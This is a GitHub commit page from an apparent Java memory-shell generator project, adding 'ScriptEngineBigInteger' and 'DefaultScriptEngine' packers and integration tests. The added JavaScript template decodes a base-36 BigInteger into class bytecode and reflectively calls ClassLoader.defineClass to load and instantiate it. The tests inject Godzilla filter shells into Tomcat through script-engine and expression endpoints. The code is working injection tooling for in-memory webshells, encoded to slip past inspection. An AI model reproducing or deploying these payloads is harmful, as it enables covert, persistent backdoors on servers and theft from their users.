Skip to content

Commit 8c3fad5

Browse files
wanswuReaJason
authored andcommitted
feat: support ScriptEngineBigInteger
1 parent 02b2288 commit 8c3fad5

File tree

12 files changed

+94
-30
lines changed

12 files changed

+94
-30
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -201,4 +201,4 @@ public static Object invokeMethod(Object obj, String methodName, Class<?>[] para
201201
throw new RuntimeException("Error invoking method: " + methodName, e);
202202
}
203203
}
204-
}
204+
}

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -328,7 +328,7 @@ public static void injectIsOk(String url, String shellType, ShellTool shellTool,
328328
VulTool.uploadJspFileToServer(uploadEntry, filename, content);
329329
VulTool.urlIsOk(shellUrl);
330330
}
331-
case ScriptEngine -> VulTool.postIsOk(url + "/js", content);
331+
case ScriptEngine, DefaultScriptEngine, ScriptEngineBigInteger -> VulTool.postIsOk(url + "/js", content);
332332
case EL -> VulTool.postIsOk(url + "/el", content);
333333
case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringIOUtilsJDK17 ->
334334
VulTool.postIsOk(url + "/spel", content);

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -53,6 +53,8 @@ static Stream<Arguments> casesProvider() {
5353
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Aviator),
5454
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.BeanShell),
5555
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
56+
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.DefaultScriptEngine),
57+
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineBigInteger),
5658
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Groovy),
5759
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino),
5860
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JinJava),

packer/src/main/java/com/reajason/javaweb/packer/BigIntegerPacker.java

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,10 +4,14 @@
44

55
import java.math.BigInteger;
66

7+
/**
8+
* @author Wans
9+
* @since 2025/08/26
10+
*/
711
public class BigIntegerPacker implements Packer {
812
@Override
913
@SneakyThrows
1014
public String pack(ClassPackerConfig config) {
11-
return new BigInteger(config.getClassBytes()).toString(36);
15+
return new BigInteger(config.getClassBytes()).toString( Character.MAX_RADIX);
1216
}
1317
}

packer/src/main/java/com/reajason/javaweb/packer/Packers.java

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -34,6 +34,8 @@
3434
import com.reajason.javaweb.packer.ognl.OGNLScriptEnginePacker;
3535
import com.reajason.javaweb.packer.ognl.OGNLSpringIOUtilsGzipPacker;
3636
import com.reajason.javaweb.packer.rhino.RhinoPacker;
37+
import com.reajason.javaweb.packer.scriptengine.DefaultScriptEnginePacker;
38+
import com.reajason.javaweb.packer.scriptengine.ScriptEngineBigIntegerPacker;
3739
import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker;
3840
import com.reajason.javaweb.packer.spel.SpELPacker;
3941
import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker;
@@ -87,6 +89,8 @@ public enum Packers {
8789
* 脚本引擎打包器
8890
*/
8991
ScriptEngine(new ScriptEnginePacker()),
92+
DefaultScriptEngine(new DefaultScriptEnginePacker(), ScriptEnginePacker.class),
93+
ScriptEngineBigInteger(new ScriptEngineBigIntegerPacker(), ScriptEnginePacker.class),
9094
Rhino(new RhinoPacker()),
9195

9296
/**
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
package com.reajason.javaweb.packer.scriptengine;
2+
3+
import com.reajason.javaweb.packer.ClassPackerConfig;
4+
import com.reajason.javaweb.packer.Packer;
5+
import lombok.SneakyThrows;
6+
import org.apache.commons.io.IOUtils;
7+
8+
import java.io.IOException;
9+
import java.nio.charset.Charset;
10+
import java.util.Objects;
11+
12+
public class DefaultScriptEnginePacker implements Packer {
13+
String jsTemplate = null;
14+
15+
public DefaultScriptEnginePacker() {
16+
try {
17+
jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/DefaultScriptEngine.js")), Charset.defaultCharset());
18+
} catch (IOException ignored) {
19+
20+
}
21+
}
22+
23+
@Override
24+
@SneakyThrows
25+
public String pack(ClassPackerConfig config) {
26+
return jsTemplate
27+
.replace("{{className}}", config.getClassName())
28+
.replace("{{base64Str}}", config.getClassBytesBase64Str())
29+
.replace("\n", "")
30+
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
31+
.replaceAll("[ \t]{2,}", " ");
32+
}
33+
}
Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
package com.reajason.javaweb.packer.scriptengine;
2+
3+
import com.reajason.javaweb.packer.ClassPackerConfig;
4+
import com.reajason.javaweb.packer.Packer;
5+
import com.reajason.javaweb.packer.Packers;
6+
import lombok.SneakyThrows;
7+
import org.apache.commons.io.IOUtils;
8+
9+
import java.io.IOException;
10+
import java.nio.charset.Charset;
11+
import java.util.Objects;
12+
13+
public class ScriptEngineBigIntegerPacker implements Packer {
14+
String jsTemplate = null;
15+
16+
public ScriptEngineBigIntegerPacker() {
17+
try {
18+
jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/ScriptEngineBigInteger.js")), Charset.defaultCharset());
19+
} catch (IOException ignored) {
20+
21+
}
22+
}
23+
24+
@Override
25+
@SneakyThrows
26+
public String pack(ClassPackerConfig config) {
27+
return jsTemplate
28+
.replace("{{className}}", config.getClassName())
29+
.replace("{{bigIntegerStr}}", Packers.BigInteger.getInstance().pack(config))
30+
.replace("\n", "")
31+
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
32+
.replaceAll("[ \t]{2,}", " ");
33+
}
34+
}
Lines changed: 2 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
package com.reajason.javaweb.packer.scriptengine;
22

3+
import com.reajason.javaweb.packer.AggregatePacker;
34
import com.reajason.javaweb.packer.ClassPackerConfig;
45
import com.reajason.javaweb.packer.Packer;
56
import lombok.SneakyThrows;
@@ -13,25 +14,5 @@
1314
* @author ReaJason
1415
* @since 2024/12/3
1516
*/
16-
public class ScriptEnginePacker implements Packer {
17-
String jsTemplate = null;
18-
19-
public ScriptEnginePacker() {
20-
try {
21-
jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.js")), Charset.defaultCharset());
22-
} catch (IOException ignored) {
23-
24-
}
25-
}
26-
27-
@Override
28-
@SneakyThrows
29-
public String pack(ClassPackerConfig config) {
30-
return jsTemplate
31-
.replace("{{className}}", config.getClassName())
32-
.replace("{{base64Str}}", config.getClassBytesBase64Str())
33-
.replace("\n", "")
34-
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
35-
.replaceAll("[ \t]{2,}", " ");
36-
}
17+
public class ScriptEnginePacker implements AggregatePacker {
3718
}
File renamed without changes.
Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
var className = "{{className}}";
2+
var bigIntegerStr = "{{bigIntegerStr}}";
3+
var bytecode = new java.math.BigInteger(bigIntegerStr, 36).toByteArray();
4+
var clsString = java.lang.Class.forName("java.lang.String");
5+
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
6+
var clsInt = java.lang.Integer.TYPE;
7+
var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsString, clsByteArray, clsInt, clsInt]);
8+
defineClass.setAccessible(true);
9+
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), className, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
10+
clazz.newInstance();

0 commit comments

Comments
 (0)